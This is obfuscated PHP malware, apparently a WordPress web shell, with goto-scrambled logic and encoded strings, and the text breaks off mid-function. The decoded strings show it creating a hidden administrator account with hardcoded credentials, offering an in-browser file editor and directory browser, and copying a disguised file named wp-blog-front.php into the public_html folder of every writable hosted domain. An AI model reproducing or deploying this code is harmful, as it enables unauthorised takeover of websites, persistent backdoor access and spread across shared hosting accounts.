"\74\144\x69\x76\40\x63\x6c\x61\x73\x73\x3d\47\x6f\x6b\x27\76\xc3\xa2\305\223\xe2\200\x9d\x20\127\x50\x20\x41\x64\x6d\151\156\x20\103\162\145\141\164\145\x64\x3a\40\150\x65\154\154\40\57\40\x48\145\x6c\x6c\x40\x32\x30\62\x35\x3c\57\x64\x69\166\x3e"; goto lOUZQ; klNYr: goto nyxtr; goto auij7; by2Me: uU3hK: goto ReGJh; mUedk: ww1U4: goto Ms1xZ; BMgJY: goto YV7J3; goto LK7PK; HsnEG: goto FQi0d; goto nDgjJ; SGYFQ: C6uMX: goto Tm20x; c6i_W: cBi0z: goto MpkXP; mEyIg: AJEvA: goto ya2iC; TH0hL: goto eidbW; goto dpuZk; xkb3Y: goto FAGob; goto MjtI0; zN5y3: wHPSX: goto XkG1y; zGsRd: goto fZku2; goto N_bhX; HQKM6: Kh6bK: goto pWLEz; Y39BH: SGf7r: goto LHCPs; OQA_Z: goto jFF3F; goto YRBfv; INFFL: $D8SPt = __FILE__; goto GETqH; G8pQn: V35gp: goto tXmFa; CH5gS: goto kZyGP; goto QVOeC; xglhX: goto FH10o; goto P18Wf; HgL8O: v26Id: goto h1gA6; fzZPn: goto TiAaS; goto cqOD9; IrBBt: zwr0b: goto nJOL3; f2HDu: tALZ4: goto asy96; SU2aS: goto M_aAL; goto FBet9; GGaB5: goto QxCZA; goto rHduz; fbCMn: iFm00: goto dDHyn; WRtx2: goto nCsBk; goto VJPkJ; v_bQx: goto yuxjg; goto DkneV; QasTk: kNvRZ: goto pmKLG; psN7E: Xt2yl: goto rTRoz; i6StH: goto KOcL8; goto fotv5; UGHVI: YeuQW: goto di3MM; VWhb1: K14Rm: goto leSQu; U4WAK: echo "\74\146\x6f\x72\x6d\x20\x6d\x65\x74\x68\157\144\75\47\160\x6f\163\164\47\76\74\164\145\170\164\x61\162\145\x61\x20\156\x61\x6d\145\x3d\47\146\151\x6c\x65\x64\141\164\x61\47\76{$mdI48}\x3c\57\164\x65\x78\164\x61\162\x65\x61\x3e\74\x62\x72\x3e\74\142\165\164\164\x6f\156\x20\x6e\x61\x6d\x65\x3d\47\x73\x61\x76\x65\x66\151\x6c\x65\x27\x3e\x53\x61\x76\x65\74\57\142\x75\164\x74\x6f\156\76\40\x3c\141\40\150\162\x65\x66\x3d\x27\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x27\40\163\164\x79\154\145\75\47\143\x6f\x6c\157\x72\x3a\x23\x66\x66\60\47\76\102\x61\143\153\x3c\57\x61\x3e\74\x2f\146\x6f\x72\155\76"; goto Lx0XR; bkpQm: goto vh4Ya; goto JrmU1; HMmv3: goto VhhHo; goto C1F0D; zF2eE: An6YB: goto mxgcF; YS87K: goto DpXAP; goto MnYYv; nmlvO: KR4dN: goto UmErq; DYzZc: goto Jc76G; goto NRbvr; nY_1Q: veDoV: goto fdusi; v8gH4: goto z3aiS; goto hQr7P; G5dt5: goto LGhol; goto tuKb4; fFQF6: goto N8UWO; goto UVUtQ; n0AyI: goto c1Y1i; goto mGj0u; uSV6y: $hznvy .= "\74\144\151\x76\x20\x63\x6c\141\x73\163\75\47\145\x72\x72\47\76\xc3\242\xc5\223\313\x9c\x20\x57\120\x20\165\x73\145\x72\40\143\x72\145\x61\x74\151\x6f\156\40\x65\162\162\157\x72\x3c\57\x64\x69\166\x3e"; goto bprOo; W8XxV: goto CfqF0; goto Mix7i; OmOy_: goto QJ85Y; goto B7Xir; KMUru: DwIlf: goto t45jc; aO1F2: goto h_uEZ; goto y2JC5; A8SPk: CLznv: goto PC1uP; eM273: goto D0vP0; goto HK11o; CUWhv: goto OFmO8; goto UBRcC; AUr_O: goto Ke450; goto ltaRC; ky0ox: QIr9i: goto nndCL; g7eCo: goto Qjkti; goto W6N2X; olZtW: jQe1n: goto hyfoa; dSIe6: Pu1yM: goto SgrjO; PWPPT: nWrVW: goto CTQ0O; drhqD: X_y0p: goto B05Ub; cFVUB: $D6V0J = dirname($D6V0J); goto yikDg; uJ1Au: En4Bl: goto DBRvW; doVAA: goto Q_gWi; goto IJm2S; B1nVA: J2g9H: goto Z_1_4; H7UpU: HjMDE: goto OBxJ0; XM0Z1: foreach ($HbhNW as $JUtnp) { goto aUrNh; Q3Zqf: zKduV: goto u2qPg; s9vav: echo "\x3c\x6c\151\76\x3c\141\x20\x68\x72\x65\146\x3d\47{$JUtnp}\47\x20\164\141\162\x67\145\164\75\47\137\x62\154\141\x6e\153\x27\x3e{$JUtnp}\x3c\57\x61\76\74\x2f\154\x69\76"; goto sQ3ib; gKlF6: goto DWhQa; goto jqHoR; NYDkV: DWhQa: goto Q3Zqf; aUrNh: goto cMRko; goto e9uV9; B4EMc: qoZyg: goto gKlF6; JtDgN: DeS4P: goto UsVfk; eOIIu: rsRDR: goto B4EMc; u2qPg: goto t0TJ3; goto eOIIu; jqHoR: t0TJ3: goto JtDgN; sQ3ib: goto rsRDR; goto NYDkV; e9uV9: cMRko: goto s9vav; UsVfk: } goto Orv0N; ePZM9: goto aCSQe; goto d_uUZ; kodTq: goto QIr9i; goto N0XQT; d5V4O: goto Rq_co; goto Vxlow; d8vt9: kwn_w: goto Zq6n4; AuBcD: z3pf1: goto nqTXH; FR0vb: FtsP2: goto e4HMG; TNSh_: echo "\74\41\x44\x4f\103\x54\131\120\105\x20\x68\164\x6d\x6c\76\74\x68\164\x6d\154\x3e\x3c\150\x65\x61\144\76\x3c\x6d\x65\164\141\40\x63\x68\141\x72\163\145\164\75\x27\165\x74\146\55\70\x27\x3e\x3c\x74\x69\x74\x6c\x65\x3e\105\x64\x69\x74\x3c\x2f\164\x69\164\x6c\145\76\xa\x20\x20\x20\x20\40\x20\x20\40\74\163\x74\171\x6c\145\76\xa\40\40\40\40\40\40\40\40\x62\157\x64\x79\173\x62\x61\x63\153\147\162\157\x75\156\x64\x3a\43\60\60\60\73\143\x6f\154\x6f\x72\72\43\x66\146\x30\x3b\146\157\156\164\x2d\x66\x61\x6d\151\154\x79\x3a\155\x6f\156\157\x73\160\x61\x63\x65\73\164\x65\170\x74\55\141\x6c\x69\x67\156\x3a\x63\145\x6e\164\x65\x72\x7d\12\40\40\x20\40\40\40\40\40\x74\145\170\x74\x61\x72\145\x61\173\x77\151\144\164\150\x3a\71\x35\45\73\150\145\151\x67\150\164\x3a\x38\60\x76\150\x3b\142\x61\143\x6b\x67\162\157\165\x6e\144\x3a\x23\x31\61\61\73\143\157\x6c\x6f\x72\x3a\43\146\x66\x66\73\142\157\162\144\145\x72\x3a\x31\160\x78\x20\x73\157\154\151\144\40\43\x66\x66\x30\175\xa\x20\x20\x20\40\40\x20\x20\40\142\165\x74\x74\x6f\156\x7b\x70\x61\x64\144\x69\156\147\x3a\70\160\x78\73\x62\141\x63\153\x67\x72\x6f\x75\x6e\x64\72\x23\x32\62\62\x3b\143\157\x6c\157\162\x3a\43\146\x66\x30\73\142\x6f\162\144\145\x72\72\x31\x70\x78\40\163\x6f\154\151\x64\x20\43\146\x66\x30\x7d\12\x20\40\40\40\x20\40\40\40\x3c\57\163\x74\171\154\145\76\x3c\57\150\145\141\144\x3e\74\x62\157\144\171\76"; goto Yv5N0; HcGlG: fciXr: goto EZGSd; TwqXQ: mNINs: goto XPX4t; yW17m: R7fQw: goto uJ1Au; N_bhX: jkCKs: goto wwM9e; QqInZ: FQi0d: goto cAAde; XLvuk: N8UWO: goto I2Et3; QsPIc: hbxNU: goto Dvq11; LK51e: goto sqq0b; goto gru6B; qa8k3: goto B20kN; goto QWgsx; vH8mz: goto GTMrE; goto q2PPw; tuKb4: zyr_3: goto XM0Z1; YRVUI: goto a1JYq; goto q7YAy; WoibB: goto Mpw0a; goto U0S7x; wkKdZ: xwHle: goto M1sbV; kMj6k: goto GFznw; goto ZenZd; M4u07: goto DCCBg; goto wEY1S; lVtDI: hKkuU: goto cLM9z; zpqr9: goto qCPgI; goto PLsH_; rk09R: goto jQe1n; goto K4XlR; xWAA_: E3cAA: goto V19mR; Zf00L: goto fXR_9; goto orK6d; MAhYk: oCdVG: goto sFQq4; RCvXC: QLiDU: goto HI3Eh; wjSI3: goto WPvfP; goto UJv1z; Kw4uo: goto DbkW8; goto ZqkGP; rHduz: oRPQR: goto nRCFw; juHmK: goto f5n0p; goto GsX13; zfi1i: goto Pu1yM; goto CZKTK; NW2YB: iMPZC: goto cQw0H; ZhMNW: goto ocCsn; goto lJLwF; a3NhY: goto xqiY_; goto VrDET; M_ySO: rpkEp: goto Nluj9; C3gIo: goto U2hWI; goto O1iFw; ELRzR: goto roQYD; goto noXGz; Z2WKx: goto zWmwG; goto Due3P; cWIi8: aw61p: goto RUZzO; jUo7I: kTdtq: goto drZ7J; T_f2O: goto z3pf1; goto qtOMu; m6xtS: kOZC5: goto akk14; ErcjN: ff9Yy: goto zGznt; xihPS: goto Mui_y; goto DULDq; YvG2f: w4G6M: goto APerP; iM2Kf: EBoDv: goto Q1nFk; toqPO: BtDrW: goto SnuW7; v0IZQ: doNM2: goto kmudu; PFakA: VtXS1: goto Qd3lh; HLnpY: goto SXti3; goto gKF0b; dt_Tu: cAC6U: goto Y6Vvz; b5rBr: PdiyD: goto Zp6nL; zdSMe: goto KJSI3; goto yUnRu; Aq8ar: wht1c: goto PZ6FD; Z4ti4: TeCIh: goto uFRdk; bP8J6: goto vdRYy; goto kj73H; ONcuP: goto sbJX_; goto ELRzR; XRSia: B20kN: goto i6StH; rEqON: goto SuiMc; goto pqjjX; b7_TF: goto MiNjJ; goto lf5xV; TGNVX: goto yO1DX; goto Yj7dO; xbuKp: goto sHU8k; goto KHiK3; aPdzy: OCR1p: goto uAwQG; hKizP: goto a750m; goto jxpFG; FLvD1: function rbq7A($HQfp3) { goto RCPFH; ucrGN: goto NGfsY; goto Xr5mb; dyAHW: goto Bzfnk; goto dnPKr; ob6Cu: VGRR0: goto Ne70u; X1WUx: goto oeSNM; goto zLlAO; l2F2p: goto Z31Fd; goto oWGyJ; zxEIp: T6rNp: goto eyoHR; LCZqb: Mm4pS: goto ytgoV; rdVee: PN5bN: goto xbAoe; qgpvB: goto Hxh7o; goto zB_Lr; veIQX: C1hUL: goto Rq0ps; NnasV: bG7_5: goto Ujwfn; nwpCw: ygBm1: goto WzB2_; l7vPq: aiZQF: goto LOnIK; xQELg: f9fK0: goto yoM19; XZUKX: goto pxK2B; goto NiA64; RCPFH: goto O_rAU; goto G65F6; zuJSO: sUQ5Z: goto VcU52; gbJ7Q: goto CVtE9; goto BsihB; IW4c5: $HbhNW = []; goto tZpKV; CoFbs: goto ucoup; goto Typcn; E7tbT: goto ekxgf; goto yscww; NlVuf: pxK2B: goto XRuZG; kzGhE: imBDh: goto Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; 